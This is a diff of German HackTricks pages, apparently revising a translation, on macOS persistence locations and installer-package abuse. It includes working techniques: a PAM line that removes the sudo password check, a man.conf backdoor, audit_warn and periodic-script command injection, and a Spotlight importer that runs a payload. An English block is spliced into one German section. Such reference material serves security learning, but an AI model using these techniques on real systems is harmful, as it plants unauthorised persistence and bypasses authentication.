Nun versuchen wir, diese Persistenz ohne GUI-Zugriff vorzubereiten:
|
||||
|
||||
|
@ -844,7 +838,7 @@ Jetzt, da wir eine leere Umgebung haben
|
|||
4. Öffnen Sie die Folder Actions Setup.app, um diese Konfiguration zu übernehmen: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
Und das hat bei mir nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :(
|
||||
Bei mir hat das nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :(
|
||||
{% endhint %}
|
||||
|
||||
### Dock-Verknüpfungen
|
||||
|
@ -942,9 +936,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
|
|||
|
||||
* `/Library/ColorPickers`
|
||||
* Root erforderlich
|
||||
* Auslöser: Verwenden des Farbauswählers
|
||||
* Auslöser: Verwenden Sie den Farbauswähler
|
||||
* `~/Library/ColorPickers`
|
||||
* Auslöser: Verwenden des Farbauswählers
|
||||
* Auslöser: Verwenden Sie den Farbauswähler
|
||||
|
||||
#### Beschreibung & Exploit
|
||||
|
||||
|
@ -988,25 +982,25 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
```
|
||||
### Bildschirmschoner
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
Erklärung: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Erklärung: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Aber Sie werden in einer allgemeinen Anwendungs-Sandbox enden
|
||||
* Aber Sie werden in einer gängigen Anwendungs-Sandbox landen
|
||||
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ort
|
||||
|
||||
* `/System/Library/Screen Savers`
|
||||
* Root erforderlich
|
||||
* Benötigt Root-Rechte
|
||||
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
|
||||
* `/Library/Screen Savers`
|
||||
* Root erforderlich
|
||||
* Benötigt Root-Rechte
|
||||
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
|
||||
* `~/Library/Screen Savers`
|
||||
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Beschreibung & Exploit
|
||||
|
||||
|
@ -1026,10 +1020,10 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass Sie aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), **`com.apple.security.app-sandbox`** finden können, dass Sie **innerhalb des üblichen Anwendungssandkastens** sind.
|
||||
Beachten Sie, dass aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), Sie sich **innerhalb des üblichen Anwendungssandkastens** befinden.
|
||||
{% endhint %}
|
||||
|
||||
Saver-Code:
|
||||
Sparcode:
|
||||
```objectivec
|
||||
//
|
||||
// ScreenSaverExampleView.m
|
||||
|
@ -1100,7 +1094,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Aber du wirst in einer Anwendungs-Sandbox enden
|
||||
* Aber Sie werden in einer Anwendungs-Sandbox enden
|
||||
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Die Sandbox scheint sehr begrenzt zu sein
|
||||
|
||||
|
@ -1121,9 +1115,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Spotlight ist die integrierte Suchfunktion von macOS, die Benutzern einen **schnellen und umfassenden Zugriff auf Daten auf ihren Computern** bietet.\
|
||||
Um diese schnelle Suchfunktion zu ermöglichen, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
|
||||
Um diese schnelle Suchfunktion zu erleichtern, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
|
||||
|
||||
Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight das Verstehen und Indizieren von Inhalten über eine Vielzahl von Dateiformaten hinweg ermöglichen.
|
||||
Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight ermöglichen, Inhalte in einer Vielzahl von Dateiformaten zu verstehen und zu indizieren.
|
||||
|
||||
Die Plugins oder **`.mdimporter`**-Bundles befinden sich an den zuvor genannten Orten, und wenn ein neues Bundle erscheint, wird es innerhalb von Minuten geladen (keine Notwendigkeit, einen Dienst neu zu starten). Diese Bundles müssen angeben, welche **Dateitypen und Erweiterungen sie verwalten können**, auf diese Weise wird Spotlight sie verwenden, wenn eine neue Datei mit der angegebenen Erweiterung erstellt wird.
|
||||
|
||||
|
@ -1181,7 +1175,7 @@ Darüber hinaus haben Systemstandard-Plugins immer Vorrang, sodass ein Angreifer
|
|||
Um Ihren eigenen Importeur zu erstellen, könnten Sie mit diesem Projekt beginnen: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) und dann den Namen ändern, die **`CFBundleDocumentTypes`** ändern und **`UTImportedTypeDeclarations`** hinzufügen, damit es die Erweiterung unterstützt, die Sie unterstützen möchten, und diese in **`schema.xml`** reflektieren.\
|
||||
Ändern Sie dann den Code der Funktion **`GetMetadataForFile`**, um Ihr Payload auszuführen, wenn eine Datei mit der verarbeiteten Erweiterung erstellt wird.
|
||||
|
||||
Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die **Logs überwachen** oder **`mdimport -L`** überprüfen.
|
||||
Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die Protokolle überwachen oder **`mdimport -L`** überprüfen.
|
||||
|
||||
### ~~Einstellungsfenster~~
|
||||
|
||||
|
@ -1231,6 +1225,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Die periodischen Skripte (**`/etc/periodic`**) werden aufgrund der in `/System/Library/LaunchDaemons/com.apple.periodic*` konfigurierten **Startdaemons** ausgeführt. Beachten Sie, dass Skripte, die in `/etc/periodic/` gespeichert sind, als **Besitzer der Datei** ausgeführt werden, sodass dies nicht für einen potenziellen Privilegierungswechsel funktioniert.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1273,7 +1268,7 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
Wenn es Ihnen gelingt, eine der Dateien `/etc/daily.local`, `/etc/weekly.local` oder `/etc/monthly.local` zu schreiben, wird sie **früher oder später ausgeführt**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass das periodische Skript als **Besitzer des Skripts ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern).
|
||||
Beachten Sie, dass das periodische Skript als Besitzer des Skripts **ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1285,7 +1280,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
* Aber Sie müssen root sein
|
||||
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Standort
|
||||
#### Ort
|
||||
|
||||
* Root immer erforderlich
|
||||
|
||||
|
@ -1297,11 +1292,11 @@ Da PAM mehr auf **Persistenz** und Malware als auf einfache Ausführung in macOS
|
|||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
Eine Persistenz-/Privileg-Eskalationstechnik, die PAM missbraucht, ist so einfach wie die Modifizierung des Moduls /etc/pam.d/sudo durch Hinzufügen der Zeile am Anfang:
|
||||
Eine Persistenz-/Privileg Eskalationstechnik, die PAM ausnutzt, ist so einfach wie die Modifikation des Moduls /etc/pam.d/sudo durch das Hinzufügen der Zeile am Anfang:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
So wird es **etwa so aussehen**:
|
||||
So wird es **aussehen wie** etwas in dieser Art:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1397,7 +1392,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
#### Beschreibung & Exploit
|
||||
|
||||
Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, ein Backdoor ausgeführt wird.
|
||||
Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte also so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, eine Hintertür ausgeführt wird.
|
||||
|
||||
Zum Beispiel in **`/private/etc/man.conf`** festlegen:
|
||||
```
|
||||
|
@ -1428,13 +1423,15 @@ touch /tmp/manconf
|
|||
|
||||
#### Beschreibung & Exploit
|
||||
|
||||
Sie können in `/etc/apache2/httpd.conf` angeben, dass ein Modul geladen wird, indem Sie eine Zeile hinzufügen wie:
|
||||
Sie können in `/etc/apache2/httpd.conf` angeben, ein Modul zu laden, indem Sie eine Zeile hinzufügen wie:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen.
|
||||
Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder Sie ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen.
|
||||
|
||||
Dann, falls erforderlich, um sicherzustellen, dass der Server gestartet wird, könnten Sie ausführen:
|
||||
```bash
|
||||
|
@ -1472,8 +1469,6 @@ Immer wenn auditd eine Warnung erkennt, wird das Skript **`/etc/security/audit_w
|
|||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
Du könntest eine Warnung erzwingen mit `sudo audit -n`.
|
||||
|
||||
### Startobjekte
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -1546,41 +1541,41 @@ Startup Items are legacy items that automatically launch when a user logs in. Th
|
|||
|
||||
#### Cron Jobs
|
||||
|
||||
Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command:
|
||||
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
|
||||
#### Periodic Jobs
|
||||
|
||||
Periodic Jobs are scripts that run daily, weekly, and monthly. They are located in:
|
||||
|
||||
```plaintext
|
||||
/etc/periodic/daily
|
||||
/etc/periodic/weekly
|
||||
/etc/periodic/monthly
|
||||
```
|
||||
Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command in the Terminal.
|
||||
|
||||
#### Kernel Extensions
|
||||
|
||||
Kernel Extensions are drivers that load when the system starts. They are located in:
|
||||
Kernel Extensions are drivers that run at a low level in the operating system. They are located in:
|
||||
|
||||
```plaintext
|
||||
/Library/Extensions
|
||||
/System/Library/Extensions
|
||||
```
|
||||
|
||||
#### Launch Agents and Daemons Plists
|
||||
#### Third-Party Extensions
|
||||
|
||||
The property list (plist) files for Launch Agents and Daemons are located in the LaunchAgents and LaunchDaemons directories. They have `.plist` file extensions.
|
||||
Third-Party Extensions are additional drivers or software that can impact system performance. They are located in:
|
||||
|
||||
```plaintext
|
||||
~/Library/LaunchAgents/*.plist
|
||||
/Library/LaunchAgents/*.plist
|
||||
/Library/LaunchDaemons/*.plist
|
||||
/Library/Application Support
|
||||
```
|
||||
|
||||
#### System Preferences
|
||||
|
||||
System Preferences can also contain items that automatically start at login. Check:
|
||||
|
||||
```plaintext
|
||||
System Preferences > Users & Groups > Current User > Login Items
|
||||
```
|
||||
|
||||
#### Browser Extensions
|
||||
|
||||
Browser Extensions can also run automatically and impact browser performance. They are managed within the browser settings.
|
||||
|
||||
#### Malware
|
||||
|
||||
Malware can install persistence mechanisms in any of these locations to maintain a presence on the system.
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -1629,12 +1624,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### Beschreibung & Exploit
|
||||
|
||||
XQuartz ist **nicht mehr in macOS installiert**, daher finden Sie weitere Informationen im Writeup.
|
||||
XQuartz ist **nicht mehr in macOS installiert**, daher sollten Sie für weitere Informationen das Writeup überprüfen.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Fluchtweg aus Sandboxes oder sogar für Persistenz betrachten werde (es sei denn, Sie haben einen Exploit).
|
||||
Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Methode betrachten werde, um aus Sandboxes auszubrechen oder für Persistenz (es sei denn, Sie haben einen Exploit).
|
||||
{% endhint %}
|
||||
|
||||
#### Standort
|
||||
|
@ -1658,7 +1653,7 @@ Für weitere Informationen zu [**Kernel-Erweiterungen siehe diesen Abschnitt**](
|
|||
|
||||
### ~~amstoold~~
|
||||
|
||||
Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Ort
|
||||
|
||||
|
@ -1667,13 +1662,13 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
|||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Anscheinend wurde das `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen.
|
||||
Anscheinend wurde die `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen.
|
||||
|
||||
Ich kann das nicht mehr in meinem macOS finden.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
#### Ort
|
||||
|
||||
|
@ -1683,7 +1678,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen möchten, überprüfen Sie den Bericht.
|
||||
Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen wünschen, lesen Sie den Writeup.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1796,7 +1791,7 @@ esac
|
|||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
|
|
@ -1,34 +1,34 @@
|
|||
# macOS Installationsmissbrauch
|
||||
# macOS Installers Missbrauch
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
|
||||
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
|
||||
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
|
||||
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
|
||||
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen zu Pkg
|
||||
## Pkg Grundlegende Informationen
|
||||
|
||||
Ein macOS-Installationspaket (auch als `.pkg`-Datei bekannt) ist ein Dateiformat, das von macOS verwendet wird, um Software zu verteilen. Diese Dateien sind wie eine Box, die alles enthält, was eine Software zum Installieren und Ausführen benötigt.
|
||||
Ein macOS **Installationspaket** (auch bekannt als `.pkg`-Datei) ist ein Dateiformat, das von macOS verwendet wird, um **Software zu verteilen**. Diese Dateien sind wie eine **Box, die alles enthält, was eine Software** benötigt, um korrekt installiert und ausgeführt zu werden.
|
||||
|
||||
Die Paketdatei selbst ist ein Archiv, das eine Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen. Es kann auch Skripte enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z.B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software.
|
||||
Die Paketdatei selbst ist ein Archiv, das eine **Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen**. Es kann auch **Skripte** enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z. B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software.
|
||||
|
||||
### Hierarchie
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
- **Distribution (xml)**: Anpassungen (Titel, Willkommenstext...) und Skript/Installationsprüfungen
|
||||
- **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten
|
||||
- **Bill of materials (bom)**: Liste der zu installierenden, zu aktualisierenden oder zu entfernenden Dateien mit Dateiberechtigungen
|
||||
- **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen
|
||||
- **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die zum Ausführen in ein temporäres Verzeichnis extrahiert werden.
|
||||
* **Distribution (xml)**: Anpassungen (Titel, Willkommensnachricht...) und Skript/Installationsprüfungen
|
||||
* **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten
|
||||
* **Materialliste (bom)**: Liste der Dateien, die installiert, aktualisiert oder entfernt werden sollen, mit Dateiberechtigungen
|
||||
* **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen
|
||||
* **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die in ein temporäres Verzeichnis extrahiert werden, um ausgeführt zu werden.
|
||||
|
||||
### Dekomprimieren
|
||||
```bash
|
||||
|
@ -44,71 +44,57 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
## DMG Grundlegende Informationen
|
||||
Um den Inhalt des Installers ohne manuelles Entpacken zu visualisieren, können Sie auch das kostenlose Tool [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) verwenden.
|
||||
|
||||
DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Disk-Images verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Disk-Image** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, mountet macOS sie wie eine physische Festplatte und ermöglicht Ihnen den Zugriff auf deren Inhalte.
|
||||
## DMG Grundinformationen
|
||||
|
||||
DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Festplattenabbilder verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Festplattenabbild** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, **bindet macOS sie ein, als ob es sich um eine physische Festplatte handeln würde**, und ermöglicht Ihnen den Zugriff auf deren Inhalt.
|
||||
|
||||
### Hierarchie
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Bei Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur:
|
||||
Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Für Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur:
|
||||
|
||||
* Top-Level: Dies ist die Wurzel des Disk-Images. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme".
|
||||
* Anwendung (.app): Dies ist die eigentliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen.
|
||||
* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, die Installation der Anwendung zu erleichtern. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren.
|
||||
* Top Level: Dies ist die Wurzel des Festplattenabbilds. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme".
|
||||
* Anwendung (.app): Dies ist die tatsächliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen.
|
||||
* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, es Ihnen leicht zu machen, die Anwendung zu installieren. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren.
|
||||
|
||||
## Privilege Escalation durch Missbrauch von pkg
|
||||
## Privilege Escalation durch pkg-Missbrauch
|
||||
|
||||
### Ausführung aus öffentlichen Verzeichnissen
|
||||
|
||||
Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren kann, kann er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel:
|
||||
Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren könnte, könnte er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** kann, kann er ihre Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu eskalieren.
|
||||
Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** könnte, könnte er deren Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu **eskalierten**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
# You could also check FS events to find this missconfig
|
||||
```
|
||||
Für weitere Informationen schauen Sie sich diesen Vortrag an: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
### Ausführung durch Einhängen
|
||||
|
||||
### Ausführung durch Mounting
|
||||
